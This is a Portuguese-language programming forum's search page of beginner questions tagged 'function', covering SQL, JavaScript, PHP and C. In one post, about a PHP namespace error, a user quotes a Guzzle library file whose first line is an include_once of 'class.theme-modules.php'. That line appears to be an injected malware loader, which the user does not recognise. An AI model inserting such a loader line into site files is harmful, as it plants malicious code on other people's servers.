Ir para conteúdo

Pesquisar na Comunidade

Mostrando resultados para as tags ''function''.

  • Pesquisar por Tags

    Digite tags separadas por vírgulas
  • Pesquisar por Autor

Tipo de Conteúdo


Todas as áreas do Fórum

  • Q&A Desenvolvimento
    • Perguntas e respostas rápidas
  • Desenvolvimento e Banco de Dados
    • HTML e CSS
    • Java
    • Javascript
    • .NET
    • PHP
    • Python
    • Ruby
    • Mobile
    • Ambientes de Desenvolvimento
    • Arquitetura e Métodos Ágeis
    • Banco de Dados
    • DevOps
    • Desenvolvimento de Games
    • E-Commerce e Pagamentos Online
    • SEO e Otimizações
    • WordPress
    • Algoritmos & Outras Tecnologias
  • Design e Produto
    • Fotografia
    • Photoshop
    • Design de interfaces e UX
    • Edição/Produção de Vídeos
    • Marketing Online
    • Desenho, Ilustração e 3D
  • Entretenimento e uso pessoal
    • Geral
    • Segurança & Malwares
    • Gadgets e wearable
    • Softwares e Apps
    • Entretenimento

Encontrar resultados em...

Encontrar resultados que...


Data de Criação

  • Início

    FIM


Data de Atualização

  • Início

    FIM


Filtrar pelo número de...

Data de Registro

  • Início

    FIM


Grupo


Google+


Hangouts


Skype


Twitter


deviantART


Github


Flickr


LinkedIn


Pinterest


Facebook


Site Pessoal


Localização


Interesses

Encontrado 72 registros

  1. Olá Sou iniciante e estava tentando criar uma função no postgres que os resultado fosse dinâmico de acordo com os parâmetros passados e assim a clausula where fosse construída testando os campos. Minha função da erro justamente na hora que passa a string do select para ser executada. A FUNÇÃO: CREATE OR REPLACE FUNCTION public.get_auditoria( vcpf character varying DEFAULT NULL, vlogin character varying DEFAULT NULL, vom character varying DEFAULT NULL, vidregistro bigint DEFAULT NULL, vmodulo character varying DEFAULT NULL, vacao text DEFAULT NULL, vip character varying DEFAULT NULL ) RETURNS SETOF record LANGUAGE 'plpgsql' COST 100 VOLATILE ROWS 1000 AS $BODY$ DECLARE txtsql character varying :='SELECT cpf FROM auditoria WHERE 1=1'; BEGIN IF vcpf <> NULL THEN txtsql := txtsql || ' AND cpf=vcpf'; END IF; RETURN QUERY (txtsql); RETURN; END; $BODY$; ALTER FUNCTION public.get_auditoria( character varying, character varying, character varying, bigint, character varying, text, character varying ) OWNER TO postgres; O ERRO: ERROR: ERRO: erro de sintaxe em ou próximo a "txtsql" LINE 28: RETURN QUERY (txtsql); ^ SQL state: 42601 Character: 487
  2. Julio Cavallari

    Retornar objeto de uma função

    Estou tentando popular um autocomplete usando javascript, e pra isso criei uma função na qual ele cria o objeto para eu utilizar no autocomplete: function getAutoCompleteData(){ var returning = {}; $.ajax({ url: "http://localhost/apinovaguaru/", method: "POST", data:{ type: "getclientedata", }, dataType: "JSON", success: function(data){ if(data.result == 1) { for(var i = 0; i < data.cliente.length; i++){ returning[data.cliente[i].nome] = null; } console.log(returning); return returning; } } }); } Até ai beleza, quando testo a função logo após o for, vejo que foi criada perfeitamente como o autocomplete aceita. O problema é que na hora de recuperar esses dados a função só me retorna undefined. var clientes = getAutoCompleteData(); console.log(clientes);//Aqui o retorno é undefined Minha dúvida é, como faço minha função retornar o objeto que foi criado dentro dela?
  3. <script> function Mod(){ var x = document.getElementById('oi').value; if (x = 12|| x = 13){document.getElementById('io')=== 2;} } </script> </head> <body> <input type="text" name="oioi" id="oi"> </input> <input type="text" name="oioi" id="io" onblur="Mod();"> </input> </body>
  4. hugofgg

    Transferir dados de uma tabela

    ola, sou novo aqui e novo na area de programação tambem, estou com dificuldade de transferir valores de um é o seguinte, tenho um produto exemplo "cimento" esse produto esta no catalogo, nele tem 2 inputs assim. //esse e o nome do produto ou seja cimento com valor cimento <input type="text" value="cimento" disabled name="produto" id="produto"> //esse e a quantidade <input type="number" value="" name="quantidade" id="quantidade"> <input type="button" value="adicionar" id="add" name="add" onclick="adiciona"> e eu tenho uma tabela <table id='tabela' border='10' width='100%'> <tr style='background-color:#CC0000'> // onde vai entrar o valor do produto <td>Produto</td> //onde entra o valor da quantidade <td>Quantidade</td> // botao excluri <td>Excluir</td> </tr> </table> <br/> --------------------- ate ai tudo bem , eu tenho uma function para adicionar o produto e quantidade a tabela <script LANGUAGE="JavaScript"> geral = 0; function adiciona() { geral++ tabelinha = document.getElementById("tabela") var data1 = document.getElementById("produto"); var despesa1 = document.getElementById("quantidade"); var novaLinha = tabelinha.insertRow(-1); var novaCelula; if (geral % 2 == 0) cortabela = "#FFF"; else cortabela = "#ccc"; novaCelula = novaLinha.insertCell(0); novaCelula.style.backgroundColor = cortabela; novaCelula.innerHTML = data1.value; novaCelula = novaLinha.insertCell(1); novaCelula.style.backgroundColor = cortabela; novaCelula.innerHTML = despesa1.value; novaCelula = novaLinha.insertCell(2); novaCelula.style.backgroundColor = cortabela; novaCelula.innerHTML = '<input type="button" value="X" onclick="deleteRow(this)"/>'; } function deleteRow(btn) { var row = btn.parentNode.parentNode; row.parentNode.removeChild(row); } se eu criar outro produto na pagina ex: <input type="text" value="pedra brita" disabled name="produto" id="produto"> //esse e a quantidade <input type="number" value="" name="quantidade" id="quantidade"> <input type="button" value="adicionar" id="add" name="add" onclick="adiciona"> ele adiciona o valor do primeiro produto no caso " cimento "na tabela , eu sei que é obvio que iria acontecer isso , mais eu queria uma função , pra cada produto que eu clicar incluir o valor correspondente ele , se foce na pá, adicionar o valor da pá e sua quantidade que eu digitei , podendo criar varios produtos no catalogo exemplo cimento, pá , areia, etc , cada um com seu "input" de texto e quantidade , e ao clicar em adicionar o valor dele foce para tabela e se puderem me ajudar , como eu poderia adicionar na tabela ela estando em outra pagina ex , criar uma pagina de orçamento com um formulario de orçamento e a tabela, vamos supor que eu esta na pagina ""produtos" la eu incluo cimento e no input="number" eu ponha 15 de quantidade, clicando adicionar ele inserir na tabela que esta em outra pagina, tipo esse site aqui http://atacadaodasplantas.com.br/plantas/visualizar/19/areca-vestiaria.html queria saber tambem depois como enviar essa tabela via php para meu email
  5. netocazuza

    somar dois input text

    Tenho um input text no meu form, que recebe um valor do banco de dados. Isso já está funcionando perfeitamente. Criei uma função para somar o valor de um outro campo, com esse que trás da tabela, e está apenas concatenando. O que posso estar errando? Se como exemplo, eu trago do banco o valor 50, e depois digito 50 nesse outro campo que faz a soma, ela passa a mostrar 5050, acrescentando sempre o último valor digitado à esquerda do valor que veio da tabela, quando o normal seria exibir o resultado da soma. Vejam a função que deveria somar: function onSomaTotal(){ var valorAbastecimento = document.getElementById("valorAbastecimento").value; var totalValor = document.getElementById("totalValor").value; document.getElementById("totalValor").value = (valorAbastecimento + totalValor); }
  6. alecram28

    Validar formulário Javascript

    Bom dia. Sou iniciante e fiz esse formulário usando uma função Javascript para validar os campos preenchidos. Porém ele nao esta verificando, já pula para a pagina de Cadastrado com Sucesso. Se alguem puder me ajudar a achar o erro, obrigado! HTML1 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Cadastro</title> <link href="pratica12exercicio06.css" type="text/css" rel="stylesheet"/> <script src="pratica12exercicio06.js" type="text/javascript"></script> </head> <body> <main> <form action="pratica12exercicio06Resp.html" method="get"> <fieldset> <br> <tr> <td> <label for="login">Login:</label> </td> <td> <input type="text" id="login" name="campoLogin" /> </td> </tr> <br> <tr> <td> <label for="email">E-mail:</label> </td> <td> <input type="text" id="email" name="campoEmail" /> </td> </tr> <br> <tr> <td> <label for="datanasc">Data de nascimento:</label> </td> <td> <input type="text" id="datanasc" name="campoDataNascimento" /> </td> </tr> <br> <tr> <td> <label for="senha">Senha:</label> </td> <td> <input type="text" id="senha" name="campoSenha" /> </td> </tr> <br> <tr> <td> <label for="csenha">Confirmar senha:</label> </td> <td> <input type="text" id="csenha" name="campoCSenha" /> </td> </tr> <br> <tr> <td> <label for="sexo">Sexo:</label> </td> <td> <select id="sexo" name="campoSexo"> <option value=""></option> <option value="1">Feminino</option> <option value="2">Masculino</option> </select> </td> </tr> <br> <tr> <td> <label for="cidade">Cidade:</label> </td> <td> <input type="text" id="cidade" name="campoCidade" /> </td> </tr> <br> <tr> <td> <label for="home">Home-Page:</label> </td> <td> <input type="text" id="home" name="campoHome" /> </td> </tr> <br> <tr> <td> <label for="interesse">Interesses:</label>:</label> </td> <td> <label> <input name="campoInt" id="musica" type="checkbox"/> Música</label> <label> <input name="campoInt" id="esporte" type="checkbox"/> Esporte</label> <label> <input name="campoInt" id="moda" type="checkbox" /> Moda</label> </td> </tr> <br><input id="res" class="botao" type="reset" value="Limpar" onclick="limpar();"/> <input type="submit" value="Cadastrar" name="botaoCadastrar"onclick="return validar();"/> </fieldset> </form> </main> </body> </html> HTML2 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Validação de Formulário</title> <link href="pratica12exercicio06.css" type="text/css" rel="stylesheet"> <script src="pratica12exercicio06.js" type="text/javascript"></script> </head> <body> <main> <div class="quadro"> <h1>Cadastro</h1> <div class="resp">Dados cadastrados com sucesso!</div> <a href="pratica12exercicio06.html"> <div class="botao"> Voltar</div> </a> </div> </main> </body> </html> JS: function validar() { var mensagemErro = ""; if (document.getElementById ("login").value == "") { mensagemErro = "Informe o login."; } if (document.getElementById ("email").value == "") { mensagemErro += "\nInforme o email."; } if (document.getElementById ("datanasc").value == "") { mensagemErro += "\nInforme a data de nascimento."; } if (document.getElementById ("senha").value == "") { mensagemErro += "\nInforme a senha."; } if (document.getElementById ("vsenha").value == "") { mensagemErro += "\nInforme a confirmação de senha."; } if (document.getElementById ("senha").value != document.getElementById ("vsenha").value) { mensagemErro += "\nAs senhas estão diferentes.";} if (document.getElementById ("cidade").value == "") { mensagemErro += "\nInforme a cidade."; } if (document.getElementById ("home").value == "") { mensagemErro += "\nInforme a Home-page."; } if (document.getElementById ("interesse").value == "") { mensagemErro += "\nInforme os interesses."; } var opcoesSexo = document.getElementsByName ("campoSexo"); var sexoPreenchido = false; for (var i = 0; i < opcoesSexo.length; i++) { if (opcoesSexo[i].checked) { sexoPreenchido = true; } } if (!sexoPreenchido) { mensagemErro += "\nInforme o sexo."; } if (mensagemErro == "") { return true; } else { alert (mensagemErro); return false; } } CSS: fieldset, .quadro { border: 5px solid black; background-color: rgb(231, 231, 231); width: 350px; height: 300px; line-height:1.5; /*espaçamento linhas*/ } .botao{ height: 20px; width: 70px; }
  7. ndias

    PHP Mailer com Template

    Baixei a class.phpmailer, coloquei em uma pasta phpmailer dentro de public do meu projeto POO-MVC e criei no Models uma classe Mensagem que recebe os parâmetros de envio. Acontece que fiz um template pra separar o HTML do código. Na função PHP Mailer eu consigo definir a Body com um file_get_contents, e recebo o e-mail com o meu template... Até aí tudo bem...o problema que quero colocar conteúdo dinâmico no meu template...então dentro do meu template eu instancio a classe Mensagem que tem um objeto retornando o texto. Porém, quando recebo e-mail com meu template, escreve meu objeto contet(); no lugar do texto...acredito que seja por no PHP Mailer eu ter definido a Body com um file_get_contents. Alguém pode me ajudar?
  8. ndias

    Function Include Class POO

    eu gostaria de criar uma classe para incluir partes de html dentro do meu layout para isso eu queria fazer algo do tipo: class Includes { private $include; public function inc() { include_once "include/".$this->include.".phtml"; } } e <?php echo $include->bottom_master;?> no meu html como sou novo em orientação a objetos, não estou conseguindo fazer essa simples coisa. poderiam me dizer aonde estou errando, por favor? obrigado,
  9. alecram28

    Exercicio Javascript switch case

    Bom dia. Tenho o seguinte exercicio para fazer, comecei a fazer mas nao consigo terminar e nao sei se é bem isso. Se alguem puder me ajudar, sou iniciante. Obrigado! Questao: Usando HTML, CSS e JS, escreva um algoritmo que leia o código de uma operação a partir o teclado e que realize a operação associada a esse código. O código é um valor inteiro. Os códigos e operações são listados abaixo: 1 Área de um retângulo. Os valores da base e da altura do retângulo devem ser informados pelo usuário. OBS: aretângulo = base * altura. 2 Área de um triângulo. Os valores da base e da altura do triângulo devem ser informados pelo usuário. OBS: atriângulo = (base * altura) / 2. 3 Área de um círculo. O valor do raio do círculo deve ser informado pelo usuário. OBS: acírculo = 3,14 * (raio)2 4 Área de um trapézio. Os valores da base maior, da base menor e da altura do trapézio devem ser informados pelo usuário. OBS: atrapézio = [(base maior + base menor) * altura] / 2. Meu código: html: <!DOCTYPE html> <html lang="pt-br"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Área figuras</title> <link rel="stylesheet" href="pratica06exercicio04.css"> <script src="pratica06exercicio04.js" type="text/javascript"></script> </head> <body> <main> <h1>Área de Figuras Geométricas</h1> <h3>Informe o número da operação desejada:</h3> <h4>1- Área Retângulo<br>2-Área Triângulo<br>3-Área Círculo<br>4-Área Trapézio</h4> <div class="numero">Código <input type="number"id="cod"></div> <button onclick="codigo()">OK</button> <div id="operandos"></div> <div id="resultado"></div> </main> </body> </html> js: function codigo() { var c = document.getElementById("cod"); switch (c) { case '1': operandosRetangulo() break; case '2': operandosTriangulo() break; case '3': operandosCirculo() break; case '4': operandosTrapezio() break; } } function limparTela() { var operandos = document.getElementById("operandos"); var resultado = document.getElementById("resultado"); operandos.style.display = "none"; resultado.style.display = "none"; } function operandosCirculo() { limparTela(); var operandos = document.getElementById("operandos"); operandos.innerHTML = "Informe o raio: <input type='number' id='raio'>" + "<br/>" + "<button onclick='areaCirculo ()'>OK</button>"; operandos.style.display = "block"; } function operandosRetangulo() { limparTela(); var operandos = document.getElementById("operandos"); operandos.innerHTML = "Informe a base: <input type='number' id='base'>" + "<br/>" + "Informe a altura: <input type='number'id='altura'>" + "<br/>" + "<button onclick='areaRetangulo ()'>OK</button>"; operandos.style.display = "block"; } function operandosTriangulo() { limparTela(); var operandos = document.getElementById("operandos"); operandos.innerHTML = "Informe a base: <input type='number' id='baset'>" + "<br/>" + "Informe a altura: <input type='number'id='alturat'>" + "<br/>" + "<button onclick='areaTriangulo ()'>OK</button>"; operandos.style.display = "block"; } function operandosTrapezio() { limparTela(); var operandos = document.getElementById("operandos"); operandos.innerHTML = "Informe a base maior: <input type='number' id='basema'>" + "<br/>" + "Informe a base menor: <input type='number' id='baseme'>" + "<br/>" + "Informe a altura: <input type='number'id='alturaz'>" + "<br/>" + "<button onclick='areaTrapezio ()'>OK</button>"; operandos.style.display = "block"; } function areaCirculo() { var raioSTR = document.getElementById("raio").value; var raio = parseFloat(raioSTR); var area = 3.14 * Math.pow(raio, 2); var resultado = document.getElementById("resultado"); resultado.innerHTML = area; resultado.style.display = "block"; } function areaRetangulo() { var baseSTR = document.getElementById("base").value; var alturaSTR = document.getElementById("altura").value; var base = parseFloat(baseSTR); var altura = parseFloat(alturaSTR); var area = base * altura; var resultado = document.getElementById("resultado"); resultado.innerHTML = area; resultado.style.display = "block"; } function areaTriangulo() { var bt = document.getElementById("baset").value; var at = document.getElementById("alturat").value; var baset = parseFloat(bt); var alturat = parseFloat(at); var areat = (bt * at) / 2; resultado.innerHTML = areat; resultado.style.display = "block"; } function areaTrapezio() { var bma = document.getElementById("basema").value; var bme = document.getElementById("baseme").value; var az = document.getElementById("alturaz").value; var areatra = ((bma + bme) * az) / 2; resultado.innerHTML = areatra; resultado.style.display = "block"; }
  10. aantunesl

    Namespace - Alguem me ajuda

    Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro: Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1 <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise; function queue(TaskQueueInterface $assign = null) { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new TaskQueue(); } return $queue; } Alguem sabe como resolver esta questão? Agradeço.
  11. ronaldosdb

    Funcao TestaCPF

    Pessoal, bom dia Nao estou sabendo aplicar a validacao ONBLUR da funcao TestaCPF(strCPF) em um campo de formulario Alguem tem um exemplo, por favor? Me parece q essa funcao é a mais segura para validar cpf pois é a mesma utilizada pela receita federal: http://www.receita.fazenda.gov.br/aplicacoes/atcta/cpf/funcoes.js Se alguem tiver um exemplo com onkeypress agradeco tb Na vdd, nao estou sabendo utiliza-la e creio que ela seja mais segura. Gostaria de fazer com que se o cpf realmente nao for valido que ele deixe o campo vermelho e volte o foco para o mesmo, obrigando o user a fazer o preenchimento correto //Verifica se CPF é válido function TestaCPF(strCPF) { var Soma; var Resto; Soma = 0; //strCPF = RetiraCaracteresInvalidos(strCPF,11); if (strCPF == "00000000000") return false; for (i=1; i<=9; i++) Soma = Soma + parseInt(strCPF.substring(i-1, i)) * (11 - i); Resto = (Soma * 10) % 11; if ((Resto == 10) || (Resto == 11)) Resto = 0; if (Resto != parseInt(strCPF.substring(9, 10)) ) return false; Soma = 0; for (i = 1; i <= 10; i++) Soma = Soma + parseInt(strCPF.substring(i-1, i)) * (12 - i); Resto = (Soma * 10) % 11; if ((Resto == 10) || (Resto == 11)) Resto = 0; if (Resto != parseInt(strCPF.substring(10, 11) ) ) return false; return true; }
  12. henrique-rafael

    proteger função de chamada externa

    Uma função que eu criei pode ser acessada diretamente e externamente? Se sim, como faço para impedir isso. por exemplo: tenho uma função, aonde eu uso o mysqli e trato as variáveis adequadamente, de forma segura. function insere_dados_no_mysql($recebe_dados_para_inserção){ # a função não pode ser chamada diretamente, apenas a página aonde ela está pode ser invocada } Minha preocupação é a seguinte: -Se alguém for capaz de invocar essa função diretamente por chamada externa como por exemplo "javascript ajax", essa pessoa pode simplesmente inserir dados na minha base de dados, sem estar autenticado. -Eu procurei sobre o assunto em sites de busca, mas não encontrei nada específico sobre isso, por isso gostaria de uma ajuda aqui do fórum, se alguém puder me dizer se essa chamada é possível, ou se o PHP nativamente impede esse tipo de chamada em função da segurança, etc.
  13. FELIPEWAT

    Calendário de Eventos com Problemas

    Olá, Recentemente quis incluir um calendário de eventos em php no meu site. Baixei os arquivos do site Medium.com: https://goo.gl/79jcYE. Porém, não consigo utilizar o calendário e o erro_log me retorno a seguinte mensagem de erro: PHP Fatal error: Call to a member function query() on a non-object in /home/.../public_html/eventos.php on line 6 Segue o conteúdo do arquivo: <?php //Conectando ao banco de dados include "conexao.php"; $consulta = $conexao->query("SELECT * FROM eventos;"); while ($linha = $consulta->fetch(PDO::FETCH_ASSOC)) { //echo "Nome: {$linha['nome']} - E-mail: {$linha['email']}<br />"; $vetor[] = $linha; } //Passando vetor em forma de json echo json_encode($vetor); ?> Alguém poderia me ajudar com essa questão?
  14. Thyago Barbosa

    Chamar função no input

    Galera, tenho a seguinte função, mas não tou conseguindo chamar ela pelo input <input type="text" name="teste" id="teste" onkeyup="formatReal(this)" /> <script> function formatReal( int ) { var tmp = int+''; var neg = false; if(tmp.indexOf("-") == 0) { neg = true; tmp = tmp.replace("-",""); } if(tmp.length == 1) tmp = "0"+tmp tmp = tmp.replace(/([0-9]{2})$/g, ",$1"); if( tmp.length > 6) tmp = tmp.replace(/([0-9]{3}),([0-9]{2}$)/g, ".$1,$2"); if( tmp.length > 9) tmp = tmp.replace(/([0-9]{3}).([0-9]{3}),([0-9]{2}$)/g,".$1.$2,$3"); if( tmp.length > 12) tmp = tmp.replace(/([0-9]{3}).([0-9]{3}).([0-9]{3}),([0-9]{2}$)/g,".$1.$2.$3,$4"); if(tmp.indexOf(".") == 0) tmp = tmp.replace(".",""); if(tmp.indexOf(",") == 0) tmp = tmp.replace(",","0,"); return (neg ? '-'+tmp : tmp); } </script> Tou querendo chamar a função pelo onkeyup dentro do input mesmo, se alguém souber me ajuda aí
  15. Silva Mateus

    Struct em C

    Olá, tenho dois problemas que são o seguinte: 1 - Quando escolho a opção "1" e entro no cadastro de produtos o programa pula a etapa de cadastro do "nome", isto é , me deixando cadastrar somente o "codigo" e "estoque minimo". Me disseram que o FFLUSH resolveria esse problema, esse é realmente o método correto? 2 - Quando vou na opção "2 - listar" ele não exibe os valores que foram cadastrado, isto é , a tabela é impressa corretamente só que os valores não são correspondentes. #include<stdio.h> #include<strings.h> #include<string.h> #define max = 10; int contador=0 ; //ESTRUTURA DOS DADOS struct produtos{ int codigo; char nome[30]; float precoMedioUnitario; int quantEstoque; int estoqueMinimo; }; struct produtos cadProduto[9]; main(){ menu(); } // PROCEDIMENTO - VOID MENU void menu(){ // VARIAVEL PARA ESCOLHA SWITCH int escolha; // MENU printf("1 - Cadastrar um produto"); printf("\n2 - Listar os produtos cadastrados"); printf("\n3 - Consultar os dados de um produto "); printf("\n4 - Processar uma saida de mercadoria do estoque"); printf("\n5 - Processar uma entrada de mercadoria no estoque"); printf("\n6 - Sair do programa"); //ESCOLHA DE OPERACAO printf("\nOperacao: "); scanf("%d", &escolha); //DESVIO PARA A OPCAO switch(escolha){ case 1: cadastro(); break; case 2: listar(); break; case 3: break; case 4: break; case 5: break; case 6: break; default: printf("Valor Invalido"); } } // FUNCAO CADASTRO DE PRODUTOS void cadastro(){ int resultado; do{ //FORMULARIO DE CADASTRO printf("Codigo do produto: "); scanf("%d", &cadProduto[contador].codigo); printf("\n"); printf("Nome do produto: "); fgets(cadProduto[contador].nome, 30, stdin); printf("\n"); printf("Estoque minimo: "); scanf("%d", &cadProduto[contador].estoqueMinimo); printf("\n"); contador++; printf("Deseja cadastrar mais produtos? Precione 1 - Sim ou 2 - Nao:\n"); scanf("%d", &resultado); while(resultado!=1 && resultado!=2){ printf("\n"); printf("Opcao invalida!"); printf("\n"); printf("Deseja cadastrar mais produtos? Precione 1 - Sim ou 2 - Nao:\n"); scanf("%d", &resultado); } } while(resultado!=2); printf("\nOperacao Concluida com sucesso!\n"); printf("\n"); menu(); } void listar(){ printf("\n"); for(int i=0; i<contador;i++){ printf("%d | %c | %d | %f | %d\n ",cadProduto[contador].codigo, cadProduto[contador].nome, cadProduto[contador].quantEstoque, cadProduto[contador].precoMedioUnitario, cadProduto[contador].estoqueMinimo ); } }
  16. Iai Pessoal, postando pela primeira vez aqui nesta área!! Tenho uma situação muito complicada para resolver e gostaria da ajuda de vocês. Como substituir os dados de uma fórmula que está em string pelo resultado de consultas no banco de dados? Os números que estão na fórmula correspondem aos dados de uma tabela onde preciso trazer o valor como retorno. Select codrelatorio, situacao, formula Select 10, "teste", "([981] + [988]) / [700]" formula Ex.: Pegar o número 981 e realizar uma consulta em uma tabela, retornando assim o valor 1090.01; begin @valor = SELECT v.valor FROM table_exemplo WHERE codigo = 981 return @valor; end Fórmula: (1090.01 + [988]) / [700] E assim por diante até ter todos os números da fórmula substituídos e ter este resultado: Select 10, "teste", (1090.01 + 150) / 55 formula
  17. JhoniWillian

    Como comparar duas colunas em uma tabela usando function?

    Bom dia Galera, estou fazendo um trabalho aqui e estou tendo dificuldades. O que acontece é: eu tenho uma tabela que nessa tabela, irá retornar um select que estou fazendo em um banco de dados MySQL, nesse select eu puxo algumas colunas, dentre elas 4 colunas fundamentais.. Que seriam: Inicio_prev(DATA de incio de produção previsto) fim_prev(Data de fim de produção previsto) inicio_prod(data de inicio de produção real) fim_prod(Data de fim de produção real) Minha ideia é o seguinte: nessa tabela que trará o select com essas informações, gostaria de comparar as colunas: inicio_prev com a inicio_prod, onde, se a coluna da data do inicio_prev for > (maior) que a coluna inicio_prod, ele deve mudar a cor daquela linha para vermelho, informando que aquela ordem de produção não está sendo produzida no seu tempo que era previsto para produzir. porém se a coluna inicio_prev de Produção previsto for > que a inicio_prod de Produção NC MES ele ta pintando a coluna toda e não ta aceitando a validação na function. Hoje a tabela está saindo assim OP Inicio Produção Previsto Fim Produção Previsto Inicio Produção NC MES Fim Produção NC MES 12548749 18/06 10:35 18/06 10:35 18/06 09:35 18/06 09:35 12548749 18/06 10:35 18/06 10:35 18/06 09:35 18/06 09:35 12548749 18/06 10:35 18/06 10:35 18/06 09:35 18/06 09:39 Meu código está assim: if($conexao) { $sql = "SELECT ordem, cod_item, DATE_FORMAT(inicio_prev,'%d/%m %H:%i') as inicio_prev, DATE_FORMAT(fim_orev,'%d/%m %H:%i') as fim_prev, DATE_FORMAT(inicio_prod,'%d/%m %H:%i') as inicio_prod , DATE_FORMAT(fim_prod,'%d/%m %H:%i') as fim_prod FROM pixie_andon_nc where operacao = '00015'"; //Exibir últimos 10 registros, DESC $consulta = mysql_query($sql); $inicio = ["inicio_prev"]; $inicioprod = ["inicio_prod"]; // Armazena os dados da consulta em um array associativo while($registro = mysql_fetch_assoc($consulta)) { echo '<td>'.$registro["ordem"].'</td>'; echo '<td>'.$registro["inicio_prev"].'</td>'; echo '<td>'.$registro["fim_prev"].'</td>'; $color = data_maior_prevista($registro["inicio_prod"]); echo "<td style='background: {$color}; color: #444555;'>".$registro["inicio_prod"]."</td>"; echo '<td>'.$registro["fim_prod"].'</td>'; echo '</tr>'; } echo '</table>'; } function data_maior_prevista() { if($inicio > $inicioprod) { $color = "#e60000"; } else { $color = "#FFF"; } return $color; }
  18. Potty_NH

    Fullscreen em JS

    Eu estou criando um player , mas estou tendo problemas com o fullscreen, pois seu eu deixo o video com widht e height de 100% ele bagunça com o meu css e o jeito que eu tinha achado para da uma ameniza da nisso foi colocar um padding no css mas o player fica flutuando na tela. Aqui está um trecho do código full = playerVideo.querySelector('.full'); full.addEventListener('click', fullScreen); view.addEventListener('click', play); function fullScreen(){ if(!document.webkitFullscreenElement){ playerVideo.webkitRequestFullscreen(); }else{ document.webkitExitFullscreen(); } } Eu queria saber se tem um jeito de abrir o fullscreen do player sem bagunçar meu css , se o problema for no css me desculpe por postar no lugar errado (estou começando agora :v)
  19. JhoniWillian

    Como comparar duas colunas em uma tabela usando function?

    Aberto em duplicidade, desculpem...
  20. Luccas Gaulia

    is_null em variável no uso do function

    Ola Pessoal, Seria correto o uso de is_null quando uma variável está vazia, mas utilizo na função? Qual seria o correto, pois em alguns casos a função têm variável vazia... Exemplo: modal($page, 'mensage', 'sucess', $id=is_null); ou modal($page, 'mensage', 'sucess', is_null($id));
  21. Luccas Gaulia

    Function com mais de duas ações

    Ola Pessoal, O sistema já está funcionando, porém precisava pegar um outro valor (id) para agregar na função... Por exemplo, como faço? modal(sucess_insert, $id); function modal ($mensagem, $id){ case "sucess_insert": $titulo = "Cadastro"; $text = "Cadastro Efetuado com Sucesso"; $page = "equip_list"; $id_user = $id; break; } modal(error_acess); $exibirModal = true;
  22. Eu tenho vários botões da classe "b3". Um desses tem id="bt1" e display="block". Também tenho vários botões da classe "b4". Um desse tem id="bt2" e display="none" Quando clico em algum dos "b3", o display deles todos fica "none" e o display de todos os "b4" fica "block" //parei a implementação aki... Mas eu preciso que pra cada combinação "b3" + "b4" ocorra um função diferente baseado no id dos botões deles. Por exemplo, teria um função específica e única para a combinação "bt1" + "bt2" A classe "b3" tem 10 botões e a "b4" tem 6. Eu, teoricamente, preciso fazer 60 funções, e, mesmo assim, nem sei o que por nessa funções!!! Preciso unir dois .clicks para executar cada uma das 60 funções E, além disso, tem uma forma de não serem necessárias 60 funções (com possíveis 60 ifs)? Desde já obrigado a todos.
  23. Eu fiz uma pequena função em GalleriesController.php para redimensionar imagens na view, pesando menos os arquivos e melhorando o page speed, funciona normal, porém, eu preciso importar de um jeito menos demorado, que exija menos servidor e de maneira mais dinâmica, estilo importar essa função na view. Essa função recebeu uma rota: Router::connect('/imagem/*', array('controller' => 'Galleries', 'action' => 'index', 'admin' => false)); Então, atualmente eu estou chamando assim: <img src="./imagem/350/350/85/portfolio---<?= $p['Portfolio']['gallery_1'] ?>" /> função index //recebe width, height, qualidade e caminho public function index($w, $h, $q, $img){ $img = str_replace("---","/", $img); $img = WideImage::load(FULL_BASE_URL.$this->webroot . IMAGES_URL . $img); $img = $img->resize($w, $h, 'outside'); $img = $img->crop('center', 'center', $w, $h); $img = $img->output('jpg', $q); return $img; }
  24. Sarah19

    Passar ids como parâmetro para function js

    Tenho uma function que gostaria que recebesse os valores de id de alguns campos de quantidade, valor unitário e mostrasse o resultado em outro campo. Mas não estou conseguindo. <html> <head> <script type="text/javascript" src="js/funcoes.js"></script> <script type="text/javascript" src="js/jquery-1.11.2.min.js"></script> <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.1.js"></script> <script> String.prototype.formatMoney = function() { var v = this; if(v.indexOf('.') === -1) { v = v.replace(/([\d]+)/, "$1,00"); } v = v.replace(/([\d]+)\.([\d]{1})$/, "$1,$20"); v = v.replace(/([\d]+)\.([\d]{2})$/, "$1,$2"); return v; }; function id( el ){ return document.getElementById( el ); } function getMoney( el ){ var money = id( el ).value ? id( el ).value.replace( ',', '.' ) : 0; return parseFloat( money )*100; } function multiplicacao(id1, id2){ //alert(id1, id2); var qtd = id(id1).value; var unit = getMoney(id2); var total = qtd*unit; id('campo4').value = String(total/100).formatMoney(); } //mascara para campos de R$ function moeda(z){ v = z.value; v=v.replace(/\D/g,"") //permite digitar apenas números v=v.replace(/[0-9]{12}/,"inválido") //limita pra máximo 999.999.999,99 v=v.replace(/(\d{1})(\d{8})$/,"$1.$2") //coloca ponto antes dos últimos 8 digitos v=v.replace(/(\d{1})(\d{5})$/,"$1.$2") //coloca ponto antes dos últimos 5 digitos v=v.replace(/(\d{1})(\d{1,2})$/,"$1,$2") //coloca virgula antes dos últimos 2 digitos z.value = v; } </script> </head> <body> <input id="campo1" onKeyUp='multiplicacao(this.id)' type='text' name='' class='form-control' size='10'/> <input id="campo2" onKeyUp='moeda(this);multiplicacao(this.id)' type='text' name='' class='form-control' size='10'/> <input id="campo4" name="campo4" readonly="readonly" class='form-control' size='10'/> </body> </html> Por favor se alguém souber me ajuda :(
  25. zDarkon

    função sobre função

